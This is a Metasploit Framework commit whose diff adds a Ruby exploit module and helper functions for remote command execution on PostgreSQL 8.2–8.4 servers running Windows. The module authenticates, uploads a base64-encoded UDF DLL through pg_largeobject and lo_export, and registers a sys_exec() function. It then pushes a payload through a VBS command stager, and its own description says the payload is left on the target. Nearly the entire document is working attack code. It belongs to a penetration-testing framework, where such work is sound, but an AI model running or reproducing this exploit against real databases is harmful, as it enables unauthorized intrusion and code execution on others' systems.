Fixes #3988. Adds a command execution module for PostgreSQL by uploading a UDF library and adding sys_exec() as a temporary function. Requires the target to be Windows, uses Bernardo Damele A. G.'s binaries.

Also fixes a typo in the arguments to handler which clears up a heretofore mysterious exception (see exploit.rb).



git-svn-id: file:///home/svn/framework3/trunk@12111 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Tod Beardsley 2011-03-23 19:36:07 +00:00
parent c0a0e3f217
commit b1178686cf
6 changed files with 231 additions and 1 deletions

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@ -1165,7 +1165,7 @@ class Exploit < Msf::Module
def handler(*args)
return if not payload_instance
return if not handler_enabled?
return payload_instance.handler(*args)
return payload_instance.handler(args)
end
##

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@ -264,5 +264,88 @@ module Exploit::Remote::Postgres
end
end
# Creates the function sys_exec() in the pg_temp schema.
def postgres_create_sys_exec(dll)
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language C returns null on null input immutable"
resp = postgres_query(q);
if resp[:sql_error]
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
return false
end
return true
end
def dll_fname(version)
File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
end
# This presumes the pg_temp.sys_exec() udf has been installed, almost
# certainly by postgres_create_sys_exec()
def postgres_sys_exec(cmd)
q = "select pg_temp.sys_exec('#{cmd}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
return true
end
# Takes a local filename and uploads it into a table as a Base64 encoded string.
# Returns an array if successful, false if not.
def postgres_upload_binary_file(fname)
data = postgres_base64_file(fname)
tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
oid, fout = postgres_write_data_to_disk(tbl,fld)
return false unless oid && fout
return [tbl,fld,fout,oid]
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk(tbl,fld)
oid = rand(60000) + 1000
fname = Rex::Text::rand_text_alpha(8) + ".dll"
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')"
]
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
print_error "Could not write the library to disk."
print_error resp[:sql_error]
break
end
end
return oid,fname
end
# Base64's a file and returns the data.
def postgres_base64_file(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size}
[data].pack("m*").gsub(/\r?\n/,"")
end
# Creates a temporary table to store base64'ed binary data in.
def postgres_create_stager_table
tbl = Rex::Text.rand_text_alpha(8).downcase
fld = Rex::Text.rand_text_alpha(8).downcase
resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
return [tbl,fld]
end
end
end

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@ -0,0 +1,147 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Postgres
include Msf::Exploit::CmdStagerVBS
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
'Description' => %q{
This module creates and enables a custom UDF (user defined function) on the
target host via the UPDATE pg_largeobject method of binary injection. On
default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres
service account may write to the Windows temp directory, and may source
UDF DLL's from there as well.
PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are
valid targets for this module.
NOTE: This module will leave a payload executable on the target system when the
attack is finished, as well as the UDF DLL and the OID.
},
'Author' =>
[
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
'todb' # this Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ], # Confirmed on XXX
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
])
deregister_options('SQL', 'RETURN_ROWSET')
end
# Buncha stuff to make typing easier.
def username; datastore['USERNAME']; end
def password; datastore['PASSWORD']; end
def database; datastore['DATABASE']; end
def verbose; datastore['VERBOSE']; end
def rhost; datastore['RHOST']; end
def rport; datastore['RPORT']; end
def execute_command(cmd, opts)
postgres_sys_exec(cmd)
end
def exploit
version = get_version(username,password,database,verbose)
case version
when :nocompat; print_error "Authentication successful, but not a compatable version."
when :noauth; print_error "Authentication failed."
when :noconn; print_error "Connection failed."
end
return unless version =~ /8\.[234]/
print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."
tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))
unless tbl && fld && dll && oid
print_error "Could not upload the UDF DLL"
return
end
print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"
ret_sys_exec = postgres_create_sys_exec(dll)
if ret_sys_exec
if @postgres_conn
execute_cmdstager({:linemax => 1500, :nodelete => true})
handler
postgres_logout if @postgres_conn
else
print_error "Lost connection."
return
end
end
postgres_logout if @postgres_conn
end
def dll_fname(version)
File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
end
# A shorter version of do_fingerprint from the postgres_version scanner
# module, specifically looking for versions that valid targets for this
# module.
def get_version(user=nil,pass=nil,database=nil,verbose=false)
begin
msg = "#{rhost}:#{rport} Postgres -"
password = pass || postgres_password
print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
# This also checks to see if it was compiled with a windows-based compiler --
# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
# Also, the method to write files to disk doesn't appear to work on 9.0, so
# tabling that version for now.
if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C++|mingw|cygwin)/i
return $1
else
print_status "Found #{result[:auth]}"
return :nocompat
end
else
return :noauth
end
rescue Rex::ConnectionError
print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
return :noconn
end
end
end